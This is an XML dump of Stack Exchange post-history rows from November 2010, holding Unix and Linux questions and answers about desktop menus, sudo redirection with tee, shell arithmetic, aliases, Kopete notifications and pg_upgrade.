  <row Id="9449" PostHistoryTypeId="2" PostId="4332" RevisionGUID="b6f99b87-0e2d-4251-88c2-19cae07486c5" CreationDate="2010-11-25T14:02:06.670" UserId="2811" Text="I am new to Linux. I installed `kubuntu-desktop` and `xubuntu-desktop` over the default Ubuntu 10.10. &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;I want to unclutter the menu, so that applications related to a particular desktop appear in menu only during their respective sessions. (i.e., No KDE and XFCE apps in menu during Ubuntu GNOME session. Similarly in KDE and XFCE sessions.)&#xD;&#xA;&#xD;&#xA;How can this be done via command line? (I want to learn things the command-line way.) &lt;br/&gt; &#xD;&#xA;Should I backup anything before I do this?&#xD;&#xA;&#xD;&#xA;Extra Information: &lt;br/&gt;&#xD;&#xA;I googled and found [this](http://ubuntu-tutorials.com/2007/07/18/removing-kde-icons-in-gnome-remove-gnome-icons-in-kde/) and other solutions in forums, but these address only the KDE on GNOME scenario. Perhaps this can be modified to include XFCE as well, but since I am an newbie, I couldn't figure out how to do it.&#xD;&#xA;&#xD;&#xA;I have also cross-posted at [askubuntu](http://askubuntu.com/questions/14886/how-to-remove-kde-and-xfce-icons-from-gnome-menu).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Gracias! Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="9450" PostHistoryTypeId="1" PostId="4332" RevisionGUID="b6f99b87-0e2d-4251-88c2-19cae07486c5" CreationDate="2010-11-25T14:02:06.670" UserId="2811" Text="How to remove KDE and XFCE icons from GNOME menu?" />
  <row Id="9451" PostHistoryTypeId="3" PostId="4332" RevisionGUID="b6f99b87-0e2d-4251-88c2-19cae07486c5" CreationDate="2010-11-25T14:02:06.670" UserId="2811" Text="éubuntuàédesktopöenvironmentàémenuà" />
  <row Id="9452" PostHistoryTypeId="2" PostId="4333" RevisionGUID="b6bd4f89-46ef-4e09-a15a-34873e5e88b5" CreationDate="2010-11-25T14:57:19.733" UserId="382" Text="If you do &#xD;&#xA;&#xD;&#xA;    $ ksh -n 'if [[ 1 -eq 1 ]]; then echo hi; fi'&#xD;&#xA;&#xD;&#xA;you get the message&#xD;&#xA;&#xD;&#xA;    ksh: warning: line 1: -eq within [[...]] obsolete, use ((...))&#xD;&#xA;&#xD;&#xA;as you've seen. Now try this:&#xD;&#xA;&#xD;&#xA;    $ ksh -n 'if (( 1 -eq 1 )); then echo hi; fi'&#xD;&#xA;    ksh:  1 -eq 1 : arithmetic syntax error&#xD;&#xA;&#xD;&#xA;This works:&#xD;&#xA;&#xD;&#xA;    $ ksh -n 'if (( 1 == 1 )); then echo hi; fi'&#xD;&#xA;&#xD;&#xA;Remember that the first message is only a warning. You can continue to use that form. I doubt that it will be removed since it would break too many existing scripts. By the way, this is accepted without a warning:&#xD;&#xA;&#xD;&#xA;    $ ksh -n 'if [ 1 -eq 1 ]; then echo hi; fi'&#xD;&#xA;&#xD;&#xA;One of the [main reasons][1] that double parentheses is preferred is that the comparison operators are the more familiar `&lt;`, `&lt;=`, `==`, etc., (at least when compared to other languages).&#xD;&#xA;&#xD;&#xA;Double parentheses also work in Bash and zsh. A related form, arithmetic substition, works in all of them, plus it's specified by POSIX.&#xD;&#xA;&#xD;&#xA;    $ a=$((3 * 4))&#xD;&#xA;&#xD;&#xA;Korn, Bash and Z can also do it this way:&#xD;&#xA;&#xD;&#xA;    $ (( a = 3 * 4 ))&#xD;&#xA;&#xD;&#xA;Even though Dash, as an example of a POSIX shell, doesn't support double parentheses comparisons in the form `if (( ... ))`, you can still do them using arithmetic substitution, but the result is the opposite from what you'd expect (this is also true for the others).&#xD;&#xA;&#xD;&#xA;    $ echo $(( 1 == 1 )); (( 1 == 1 )); echo $?    # in Dash, use true instead of the second statement&#xD;&#xA;    1&#xD;&#xA;    0&#xD;&#xA;    $ echo $(( 1 == 2 )); (( 1 == 2 )); echo $?    # in Dash, use false instead of the second statement&#xD;&#xA;    0&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;  [1]: http://stackoverflow.com/q/2517727/26428#2518274" />
  <row Id="9453" PostHistoryTypeId="4" PostId="4332" RevisionGUID="3d45caf5-8545-4fe4-9a54-1f5e16e43f13" CreationDate="2010-11-25T15:00:42.153" UserId="2811" Comment="edited title" Text="How to remove KDE and XFCE applications from GNOME menu?" />
  <row Id="9454" PostHistoryTypeId="2" PostId="4334" RevisionGUID="f1ce0f13-b5dd-4b4a-b01a-bd5fc330d90d" CreationDate="2010-11-25T16:57:31.863" UserId="2815" Text="The code to show something only in XFCE follows the same idea: &#xD;&#xA;&#xD;&#xA;    ShowOnlyIn=XFCE;&#xD;&#xA;&#xD;&#xA;Unfortunately, as far as I know, the way XFCE stores it's .desktop files is the same as the GNOME stores them, whereas KDE stores them in a separate folder (within /usr/share/applications).  This is why the separation of KDE/GNOME, as described in the post you link to, is much easier to do en-mass.&#xD;&#xA;&#xD;&#xA;All the files are stored in /usr/share/applications.  The format of them is very simple, and you can copy any one of them to /home/you/.local/share/applications and it will override that menu entry for that user so you can more easily edit them without needing root privileges.&#xD;&#xA;&#xD;&#xA;There is no simple way to separate XFCE apps from GNOME, especially since it's often a matter of opinion what you want to see.  This also goes for KDE, since as long as you have the KDE libraries Dolphin or Konquorer will run in GNOME.  I suppose if you're intent on using the cmd line you could come up with some grep/sed junk to selectively find and replace text inside certain .desktop files, but I thnk the easiest way would be to copy the files to ~/.local/share/applications so they don't get overwritten by updates and edit them by hand.  Unless you've got a gazillion things installed it shouldn't be too difficult.&#xD;&#xA;&#xD;&#xA;The menu works under the freedektop.org specification, which you can learn more about here: &#xD;&#xA;&#xD;&#xA;http://standards.freedesktop.org/menu-spec/latest/index.html" />
  <row Id="9455" PostHistoryTypeId="5" PostId="4332" RevisionGUID="e5ad226e-decf-4cd1-a7b8-b0ff460ae47a" CreationDate="2010-11-25T18:48:40.523" UserId="2811" Comment="deleted 1 characters in body" Text="I am new to Linux. I installed `kubuntu-desktop` and `xubuntu-desktop` over the default Ubuntu 10.10. &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;I want to unclutter the menu, so that applications related to a particular desktop appear in menu only during their respective sessions. (i.e., No KDE and XFCE apps in menu during Ubuntu GNOME session. Similarly in KDE and XFCE sessions.)&#xD;&#xA;&#xD;&#xA;How can this be done via command line? (I want to learn things the command-line way.) &lt;br/&gt; &#xD;&#xA;Should I backup anything before I do this?&#xD;&#xA;&#xD;&#xA;Extra Information: &lt;br/&gt;&#xD;&#xA;I googled and found [this](http://ubuntu-tutorials.com/2007/07/18/removing-kde-icons-in-gnome-remove-gnome-icons-in-kde/) and other solutions in forums, but these address only the KDE on GNOME scenario. Perhaps this can be modified to include XFCE as well, but since I am a newbie, I couldn't figure out how to do it.&#xD;&#xA;&#xD;&#xA;I have also cross-posted at [askubuntu](http://askubuntu.com/questions/14886/how-to-remove-kde-and-xfce-icons-from-gnome-menu).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Gracias! Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="9456" PostHistoryTypeId="2" PostId="4335" RevisionGUID="b5901e0d-fa04-491c-88b7-0061c8365e36" CreationDate="2010-11-25T19:22:43.337" UserId="688" Text="Running a command like `sudo echo 'text' &gt;&gt; /file.txt` fails with:&#xD;&#xA;&#xD;&#xA;    bash: /file.txt: Permission denied&#xD;&#xA;" />
  <row Id="9457" PostHistoryTypeId="1" PostId="4335" RevisionGUID="b5901e0d-fa04-491c-88b7-0061c8365e36" CreationDate="2010-11-25T19:22:43.337" UserId="688" Text="How to insert text into a root-owned file using sudo?" />
  <row Id="9458" PostHistoryTypeId="3" PostId="4335" RevisionGUID="b5901e0d-fa04-491c-88b7-0061c8365e36" CreationDate="2010-11-25T19:22:43.337" UserId="688" Text="épermissionsàésudoàéechoà" />
  <row Id="9459" PostHistoryTypeId="2" PostId="4336" RevisionGUID="de7db5aa-7c01-4806-866f-ce3c8934dbba" CreationDate="2010-11-25T19:32:45.597" UserId="2641" Text="You are telling bash to open a file and append the output of the command &quot;sudo echo 'text'&quot; to it, which of course doesn't work since your bash runs as non-root. Interactively, I usually run `sudo -s` to get around this (since then the shell runs as root and can open the file). Alternatively, you can run `sudo -c &quot;echo 'text' &gt;&gt; /file.txt&quot;`, which also works, but is a bit of a hassle with all the interpolation/escaping that can interfere if you have complicated expressions." />
  <row Id="9460" PostHistoryTypeId="2" PostId="4337" RevisionGUID="5106a67f-1025-48d7-8b57-5a90730ca34f" CreationDate="2010-11-25T20:55:37.917" UserId="885" Text="This doesn't work because the redirection is executed by the shell, not by the command it applies to. But your shell is not running as root, only `echo 'text'` is.&#xD;&#xA;&#xD;&#xA;A common trick when you need have root permissions to write to a file, but not to generate the data, is to use `tee`:&#xD;&#xA;&#xD;&#xA;    echo 'text' | sudo tee -a /file.txt&#xD;&#xA;&#xD;&#xA;If you do need root permissions to generate the data, you can run two separate `sudo` commands, or run a shell inside `sudo` and do the redirection there (careful with the quoting).&#xD;&#xA;&#xD;&#xA;    sudo echo 'text' | sudo tee -a /file.txt&#xD;&#xA;    sudo sh -c 'echo &quot;text&quot; &gt;&gt;/file.txt'&#xD;&#xA;&#xD;&#xA;When overwriting rather than appending, if you're used to your shell refusing to truncate an existing file with the `&gt;` operator (`set -o noclobber`), remember that this protection will not apply. `sudo 'echo &gt;/etc/passwd'` and `sudo tee /etc/passwd` will overwrite `/etc/passwd`.&#xD;&#xA;" />
  <row Id="9461" PostHistoryTypeId="6" PostId="4335" RevisionGUID="f657d0f3-6de5-4f13-96ca-fa1ad2ae3f58" CreationDate="2010-11-25T20:56:58.117" UserId="885" Comment="edited tags" Text="épermissionsàésudoàéioöredirectionà" />
  <row Id="9462" PostHistoryTypeId="5" PostId="4336" RevisionGUID="737fa6f3-bf5f-4fbe-9b44-d18017ab9cb6" CreationDate="2010-11-25T20:57:32.407" UserId="885" Comment="added missing `sh`" Text="You are telling bash to open a file and append the output of the command `sudo echo 'text'` to it, which of course doesn't work since your bash runs as non-root. Interactively, I usually run `sudo -s` to get around this (since then the shell runs as root and can open the file). Alternatively, you can run `sudo sh -c &quot;echo 'text' &gt;&gt; /file.txt&quot;`, which also works, but is a bit of a hassle with all the interpolation/escaping that can interfere if you have complicated expressions." />
  <row Id="9463" PostHistoryTypeId="6" PostId="4332" RevisionGUID="526178b8-d65d-43d3-b3f2-39ffaa196e88" CreationDate="2010-11-25T21:00:31.933" UserId="885" Comment="edited tags" Text="égnomeàékdeàédesktopöenvironmentàéxfceàémenuà" />
  <row Id="9464" PostHistoryTypeId="2" PostId="4338" RevisionGUID="47eac4a4-8019-4697-abbc-105a233e6ce8" CreationDate="2010-11-25T21:18:51.677" UserId="2626" Text="OK, this is cheating, but still a lot of fun! &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Play around with the command line version of [xkcd](http://xkcd.com/) webcomic: &lt;br/&gt;&#xD;&#xA;**&lt;http://uni.xkcd.com/&gt;**&#xD;&#xA;&#xD;&#xA;Go ahead, type in your commands! &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Here's what you you can expect: &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/GXunh.png" />
  <row Id="9465" PostHistoryTypeId="5" PostId="4322" RevisionGUID="79677ded-af79-4e3f-b666-0f11192c5cbb" CreationDate="2010-11-25T23:17:54.400" UserId="1078" Comment="added 98 characters in body" Text="The [original v1 version][1] of Unix had a label in the [source code][2] (assembly language) called `panic:`. If something went wrong elsewhere, code would jump to there and the system would reboot (that's an assumption given a comment in the code, in contradiction to the quote by Gilles below). The string &quot;kernel panic&quot; does not appear there, but this would appear to be the origin of kernel panic in Unix.&#xD;&#xA;&#xD;&#xA;The term has continued to be used throughout the lifetime of Unix and its derivatives.&#xD;&#xA;&#xD;&#xA;  [1]: http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1&#xD;&#xA;  [2]: http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1/u0.s" />
  <row Id="9466" PostHistoryTypeId="10" PostId="4335" RevisionGUID="772f909f-47ad-489a-aac7-3d0e8209cbf3" CreationDate="2010-11-25T23:25:34.897" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="9467" PostHistoryTypeId="5" PostId="4335" RevisionGUID="5290b4ec-ff06-487f-a1f3-2d32607f7a34" CreationDate="2010-11-25T23:25:35.070" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Redirecting stdout to a file you don&amp;#39;t have write permission on](http://unix.stackexchange.com/questions/1416/redirecting-stdout-to-a-file-you-dont-have-write-permission-on)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Running a command like `sudo echo 'text' &gt;&gt; /file.txt` fails with:&#xD;&#xA;&#xD;&#xA;    bash: /file.txt: Permission denied&#xD;&#xA;" />
  <row Id="9468" PostHistoryTypeId="5" PostId="3784" RevisionGUID="3c1b99af-e739-4e28-bfd2-660b99445a80" CreationDate="2010-11-25T23:37:20.613" UserId="688" Comment="added 1 characters in body" Text="The staging area for the next Debian release, Squeeze, has been having PHP 5.3 since [early this year][1]. So, add `squeeze` to your '/etc/apt/sources.list', then:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get --simulate install php5&#xD;&#xA;&#xD;&#xA;Check output, ensure important packages won't be deleted, and critical system libraries (EG, `libc6`) won't be upgraded, and if things look ok:&#xD;&#xA;&#xD;&#xA;    apt-get install php5&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.qa.debian.org/p/php5.html" />
  <row Id="9469" PostHistoryTypeId="5" PostId="4322" RevisionGUID="022c3c35-9f7b-4b10-830c-0bc0597afefb" CreationDate="2010-11-26T00:19:58.077" UserId="885" Comment="answers aren't permanently “below” or “above” one another; I'm not the author of that quote, I'm only citing it" Text="The [original v1 version][1] of Unix had a label in the [source code][2] (assembly language) called `panic:`. If something went wrong elsewhere, code would jump to there and the system would reboot (that's an assumption given a comment in the code, in contradiction to the [Van Vleck quote](http://unix.stackexchange.com/questions/4321/where-is-kernel-panic-used/4323#4323)). The string &quot;kernel panic&quot; does not appear there, but this would appear to be the origin of kernel panic in Unix.&#xD;&#xA;&#xD;&#xA;The term has continued to be used throughout the lifetime of Unix and its derivatives.&#xD;&#xA;&#xD;&#xA;  [1]: http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1&#xD;&#xA;  [2]: http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1/u0.s" />
  <row Id="9470" PostHistoryTypeId="5" PostId="4334" RevisionGUID="04932501-e4af-4279-8942-edcef2c93235" CreationDate="2010-11-26T00:58:53.783" UserId="250" Comment="Konqueror" Text="The code to show something only in XFCE follows the same idea: &#xD;&#xA;&#xD;&#xA;    ShowOnlyIn=XFCE;&#xD;&#xA;&#xD;&#xA;Unfortunately, as far as I know, the way XFCE stores it's .desktop files is the same as the GNOME stores them, whereas KDE stores them in a separate folder (within /usr/share/applications).  This is why the separation of KDE/GNOME, as described in the post you link to, is much easier to do en-mass.&#xD;&#xA;&#xD;&#xA;All the files are stored in /usr/share/applications.  The format of them is very simple, and you can copy any one of them to /home/you/.local/share/applications and it will override that menu entry for that user so you can more easily edit them without needing root privileges.&#xD;&#xA;&#xD;&#xA;There is no simple way to separate XFCE apps from GNOME, especially since it's often a matter of opinion what you want to see.  This also goes for KDE, since as long as you have the KDE libraries Dolphin or Konqueror will run in GNOME.  I suppose if you're intent on using the cmd line you could come up with some grep/sed junk to selectively find and replace text inside certain .desktop files, but I thnk the easiest way would be to copy the files to ~/.local/share/applications so they don't get overwritten by updates and edit them by hand.  Unless you've got a gazillion things installed it shouldn't be too difficult.&#xD;&#xA;&#xD;&#xA;The menu works under the freedektop.org specification, which you can learn more about here: &#xD;&#xA;&#xD;&#xA;http://standards.freedesktop.org/menu-spec/latest/index.html" />
  <row Id="9471" PostHistoryTypeId="2" PostId="4339" RevisionGUID="cd835e06-07be-4bb4-b3ee-87ca015ad3b2" CreationDate="2010-11-26T01:46:09.613" UserId="2819" Text="I accidentally typed `l` instead of `ls` today and found that the command still printed a list of the files in my current directory. Trying `l --help` brings up the help file for `ls` suggesting that `l` is just an alias of `ls`.&#xD;&#xA;&#xD;&#xA;Howver, each file was suffixed by a `*`. Why is this and what does it mean?&#xD;&#xA;&#xD;&#xA;In case it makes a difference, this is when running the latest stable version of Ubuntu." />
  <row Id="9472" PostHistoryTypeId="1" PostId="4339" RevisionGUID="cd835e06-07be-4bb4-b3ee-87ca015ad3b2" CreationDate="2010-11-26T01:46:09.613" UserId="2819" Text="What is the difference between ls and l?" />
  <row Id="9473" PostHistoryTypeId="3" PostId="4339" RevisionGUID="cd835e06-07be-4bb4-b3ee-87ca015ad3b2" CreationDate="2010-11-26T01:46:09.613" UserId="2819" Text="élinuxàécommandölineàéubuntuàélsà" />
  <row Id="9474" PostHistoryTypeId="2" PostId="4340" RevisionGUID="4cae24a9-8d2e-4d60-9ccd-44370a8dbcf6" CreationDate="2010-11-26T02:11:57.573" UserId="2818" Text="    $ l --help&#xD;&#xA;    l: command not found&#xD;&#xA;&#xD;&#xA;Looks like you have an alias set up in your environment. Perhaps you have inherited a `.profile`, `.bashrc` or similar containing something like `alias l='ls -F'`.&#xD;&#xA;&#xD;&#xA;    -F, --classify&#xD;&#xA;                  append indicator (one of */=&gt;@|) to entries&#xD;&#xA;&#xD;&#xA;Try `which l` and `alias` to track down its definition." />
  <row Id="9475" PostHistoryTypeId="2" PostId="4341" RevisionGUID="d87056fa-a23e-4631-b70a-f70c2c488c77" CreationDate="2010-11-26T02:21:17.410" UserId="2180" Text="A good way to inspect what a command is:&#xD;&#xA;&#xD;&#xA;    type l&#xD;&#xA;&#xD;&#xA;If it's a program, it will give you its location; otherwise, it will tell you if it is an alias, function, built-in or a keyword." />
  <row Id="9476" PostHistoryTypeId="2" PostId="4342" RevisionGUID="762304be-5eae-402f-836c-4b69e2772049" CreationDate="2010-11-26T03:54:27.697" UserId="29" Text="It seems when `sudo`ing down that using `sudo -u $user` that the environment of root is still being used. How can I make `sudo` use the users environment? as a special note not all users that I will be using this on have login shells." />
  <row Id="9477" PostHistoryTypeId="1" PostId="4342" RevisionGUID="762304be-5eae-402f-836c-4b69e2772049" CreationDate="2010-11-26T03:54:27.697" UserId="29" Text="How do I get sudo -u $user to use the users env?" />
  <row Id="9478" PostHistoryTypeId="3" PostId="4342" RevisionGUID="762304be-5eae-402f-836c-4b69e2772049" CreationDate="2010-11-26T03:54:27.697" UserId="29" Text="ésecurityàésudoà" />
  <row Id="9479" PostHistoryTypeId="5" PostId="4291" RevisionGUID="50ae7661-dd2f-4bbf-afa8-b48bd422af08" CreationDate="2010-11-26T06:14:35.083" UserId="2712" Comment="added 1 characters in body" Text="Personally, I have these in my bashrc and use them all the time:&#xD;&#xA;&#xD;&#xA;    pushd()&#xD;&#xA;    {&#xD;&#xA;      if [ $# -eq 0 ]; then&#xD;&#xA;        DIR=&quot;${HOME}&quot;&#xD;&#xA;      else&#xD;&#xA;        DIR=&quot;$1&quot;&#xD;&#xA;      fi&#xD;&#xA;&#xD;&#xA;      builtin pushd &quot;${DIR}&quot; &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    pushd_builtin()&#xD;&#xA;    {&#xD;&#xA;      builtin pushd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    popd()&#xD;&#xA;    {&#xD;&#xA;      builtin popd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    alias cd='pushd'&#xD;&#xA;    alias back='popd'&#xD;&#xA;    alias flip='pushd_builtin'&#xD;&#xA;&#xD;&#xA;You can then navigate around on the command-line a bit like a browser. `cd` changes the directory. `back` goes to the previous directory that you `cd`ed from. And `flip` will move between the current and previous directories without popping them from the directory stack. Overall, it works great.&#xD;&#xA;&#xD;&#xA;The only real problem that I'm aware of is the fact that it's then a set of commands that I'm completely used to but don't exist on anyone else's machine. So, if I have to use someone else's machine, it can be a bit frustrating. If you're used to just using `pushd` and `popd` directly, you don't have that problem. And while if you just alias `cd` put not `popd`, you won't have the issue of `back` not existing, you'll still have the problem that `cd` doesn't do quite what you expect on other machines.&#xD;&#xA;&#xD;&#xA;I would note, however, that your particular implementation of `cd` doesn't quite work like `cd` in that the normal `cd` by itself will go to your home directory, but yours doesn't. The version that I have here doesn't have that problem. Mine also appends `DIRSTACK` onto the front of the `dirs` print out, but that's more a matter of personal taste more than anything.&#xD;&#xA;&#xD;&#xA;So, as I said, I use these aliases all the time and have no problem with them. It's just that it can be a bit frustrating to have to use another machine and then find them not there (which shouldn't be surprising, but they're one of those things that you use so often that you don't think about them, so having them not work like you're used to can still be surprising)." />
  <row Id="9480" PostHistoryTypeId="2" PostId="4343" RevisionGUID="c7c5f55d-aa63-4595-b299-4c903158e489" CreationDate="2010-11-26T08:18:21.533" UserId="29" Text="I'm tired of kopete showing me every time someone goes away, online, it's annoying as it doesn't matter to me. How do I get kopete to hide these messages, or at least not alert me to them." />
  <row Id="9481" PostHistoryTypeId="1" PostId="4343" RevisionGUID="c7c5f55d-aa63-4595-b299-4c903158e489" CreationDate="2010-11-26T08:18:21.533" UserId="29" Text="How do I get kopete to hide/ignore status changes?" />
  <row Id="9482" PostHistoryTypeId="3" PostId="4343" RevisionGUID="c7c5f55d-aa63-4595-b299-4c903158e489" CreationDate="2010-11-26T08:18:21.533" UserId="29" Text="ékdeàékopeteà" />
  <row Id="9483" PostHistoryTypeId="2" PostId="4344" RevisionGUID="3dc94708-2416-4150-a6d9-f6a4101e91d7" CreationDate="2010-11-26T09:01:36.347" UserId="2010" Text="Does anyone know a solution to create video courses on Linux, i.e:&#xD;&#xA;&#xD;&#xA; - recording in the same time the videos from the webcam, the powerpoint / openoffice document, the annotations on the document (using electronic whiteboard) and my speech&#xD;&#xA; - a way to edit after creation to remove / add new video sequences&#xD;&#xA;" />
  <row Id="9484" PostHistoryTypeId="1" PostId="4344" RevisionGUID="3dc94708-2416-4150-a6d9-f6a4101e91d7" CreationDate="2010-11-26T09:01:36.347" UserId="2010" Text="Linux Editor to make video for elearning" />
  <row Id="9485" PostHistoryTypeId="3" PostId="4344" RevisionGUID="3dc94708-2416-4150-a6d9-f6a4101e91d7" CreationDate="2010-11-26T09:01:36.347" UserId="2010" Text="éeditorsàévideoà" />
  <row Id="9486" PostHistoryTypeId="2" PostId="4345" RevisionGUID="38502ec7-c0c4-4942-899a-1a4f0434b2e3" CreationDate="2010-11-26T09:41:27.993" UserId="2597" Text="`l` is an `alias` for `ls -d` ( I am not really sure ) in the default `.bashrc` in ubuntu&#xD;&#xA;&#xD;&#xA;You can just type `alias` to check out all the aliases. It would be mentioned there." />
  <row Id="9487" PostHistoryTypeId="2" PostId="4346" RevisionGUID="40e1ffc1-486b-416c-9d9f-7676e9dba48a" CreationDate="2010-11-26T10:02:16.757" UserId="2823" Text="Try `sudo -i -u $user`&#xD;&#xA;&#xD;&#xA;    gerald@book:~$ env |grep HOME&#xD;&#xA;    HOME=/home/gerald&#xD;&#xA;    gerald@book:~$ sudo -u ubuntu env |grep HOME&#xD;&#xA;    HOME=/home/gerald&#xD;&#xA;    gerald@book:~$ sudo -i -u ubuntu env |grep HOME&#xD;&#xA;    HOME=/home/ubuntu&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9488" PostHistoryTypeId="2" PostId="4347" RevisionGUID="e85255cb-0ada-4d5e-aceb-18b72d665815" CreationDate="2010-11-26T11:19:07.087" UserId="1416" Text="This one is well hidden :-)&#xD;&#xA;&#xD;&#xA;Go to KDE system settings and select &quot;Application and System Notifications&quot;.&#xD;&#xA;&#xD;&#xA;Then, choose Kopete Messenger in Event source, select &quot;Status Change&quot; and uncheck all options." />
  <row Id="9489" PostHistoryTypeId="2" PostId="4348" RevisionGUID="d4c0160b-4b2a-4806-a377-a514b4f2a5fd" CreationDate="2010-11-26T11:19:53.377" UserId="2712" Text="You should be able to configure what you do and don't get notified about by Kopete and how it notifies you by going to Settings-&gt;Configure Notifications." />
  <row Id="9490" PostHistoryTypeId="6" PostId="4339" RevisionGUID="3adf7c83-9bb8-4d66-b6af-809f88855b2b" CreationDate="2010-11-26T13:23:35.370" UserId="250" Comment="edited tags" Text="élinuxàécommandölineàéubuntuàélsàéaliasà" />
  <row Id="9491" PostHistoryTypeId="5" PostId="4341" RevisionGUID="df226a78-83fc-4618-a95c-f611ad73764e" CreationDate="2010-11-26T14:58:43.630" UserId="2180" Comment="added 68 characters in body" Text="A good way to inspect what a command is:&#xD;&#xA;&#xD;&#xA;    type l&#xD;&#xA;&#xD;&#xA;If it's a program, it will give you its location, if it is an alias, it will tell you what it's aliased to, it will print the funciton; otherwise, it will tell you if it is a built-in or a keyword." />
  <row Id="9492" PostHistoryTypeId="2" PostId="4349" RevisionGUID="6167dfb2-2988-4cd1-87e2-5879d3c99ca6" CreationDate="2010-11-26T15:36:47.137" UserId="2831" Text="Try using RecorditNow. Can use ffmpeg or recordmydesktop as backends." />
  <row Id="9493" PostHistoryTypeId="4" PostId="3712" RevisionGUID="8cc192d7-9e9c-48c6-86ba-df9cda3d504f" CreationDate="2010-11-26T15:52:18.910" UserId="688" Comment="better title" Text="How to get touchpad functional, again?" />
  <row Id="9494" PostHistoryTypeId="2" PostId="4350" RevisionGUID="81ba9697-6896-41d5-8059-fecb74773caf" CreationDate="2010-11-26T16:04:50.120" UserId="29" Text="I was running postgres 8.4 on arch but now have 9 installed I want to use `pg_upgrade` to upgrade but I don't know what all the options I have to use are, and all the directories that I have to point it to. I think it asks for a previous pg binary directory... but that's gone. Will it still work? *note: I've no important data, just play db's I just want to know how to do it. I also realize this is borderline serverfault, but I feel it has as much to do with arch's install process and paths, so I thought I'd ask here*" />
  <row Id="9495" PostHistoryTypeId="1" PostId="4350" RevisionGUID="81ba9697-6896-41d5-8059-fecb74773caf" CreationDate="2010-11-26T16:04:50.120" UserId="29" Text="How do I pg_upgrade my database on Arch Linux?" />
  <row Id="9496" PostHistoryTypeId="3" PostId="4350" RevisionGUID="81ba9697-6896-41d5-8059-fecb74773caf" CreationDate="2010-11-26T16:04:50.120" UserId="29" Text="éarchölinuxà" />
  <row Id="9497" PostHistoryTypeId="5" PostId="1426" RevisionGUID="b98691a6-e335-4080-a199-0ac7e605e612" CreationDate="2010-11-26T16:37:35.283" UserId="391" Comment="deleted 270 characters in body" Text="I'm currently looking at putting a Linux (although BSD is still an option) distribution on my old laptop. However, I'm not sure how to wade through all of my options - rolling releases versus not, Distribution X versus Distribution Y (I, personally, have been looking at Debian, Ubuntu, Fedora, Arch, and OpenSUSE, but I suppose that's a personal preference), and so on. To be honest, it's difficult to make a choice.&#xD;&#xA;&#xD;&#xA;When you are installing a distribution, how do you decide which one you want to use? Is it personal preference (you use your favorite distribution) or is there some guidance as to what distributions are better at specific tasks or for specific users?" />
  <row Id="9498" PostHistoryTypeId="2" PostId="4351" RevisionGUID="97e370b5-ee45-4745-9e53-8349403712cc" CreationDate="2010-11-26T17:06:09.203" UserId="446" Text="I like the `watch` command, but it has [its limitations](http://unix.stackexchange.com/questions/3842/how-can-i-scroll-within-the-output-of-my-watch-command).&#xD;&#xA;&#xD;&#xA;I'm curious to know whether I could mimic the functionality of `watch` with `less`. I'm mainly looking for the ability to scroll through my directory as it dynamically gets modified via a running script." />
  <row Id="9499" PostHistoryTypeId="1" PostId="4351" RevisionGUID="97e370b5-ee45-4745-9e53-8349403712cc" CreationDate="2010-11-26T17:06:09.203" UserId="446" Text="Is there a way to dynamically refresh the less command?" />
  <row Id="9500" PostHistoryTypeId="3" PostId="4351" RevisionGUID="97e370b5-ee45-4745-9e53-8349403712cc" CreationDate="2010-11-26T17:06:09.203" UserId="446" Text="élessàéwatchà" />
  <row Id="9501" PostHistoryTypeId="2" PostId="4352" RevisionGUID="7b1106bf-3268-4361-8890-57fdfe4a1cee" CreationDate="2010-11-26T17:21:17.710" UserId="1523" Text="The &quot;F&quot; key when running `less` will do a &quot;follow&quot; similar to `tail -f`, but I'm not sure if that will achieve what you're looking for here." />
  <row Id="9502" PostHistoryTypeId="2" PostId="4353" RevisionGUID="66b55d58-fc8b-4e03-b263-d133df19292c" CreationDate="2010-11-26T17:59:37.300" UserId="2832" Text="shift + f will make less similar to tailf. i.e it gets refreshed if more data is appended to the file.." />
  <row Id="9503" PostHistoryTypeId="2" PostId="4354" RevisionGUID="4974b6b4-41af-4c6e-99c6-b5c21edc5c88" CreationDate="2010-11-26T18:05:52.727" UserId="2832" Text="All your preferences will be saved inside .gconf folder in xml files. hack through it and change. gconf-editor is a gui interface for that.&#xD;&#xA;The proper way to remove is to use System-&gt; preferences -&gt; main menu&#xD;&#xA;or the command 'alacarte'" />
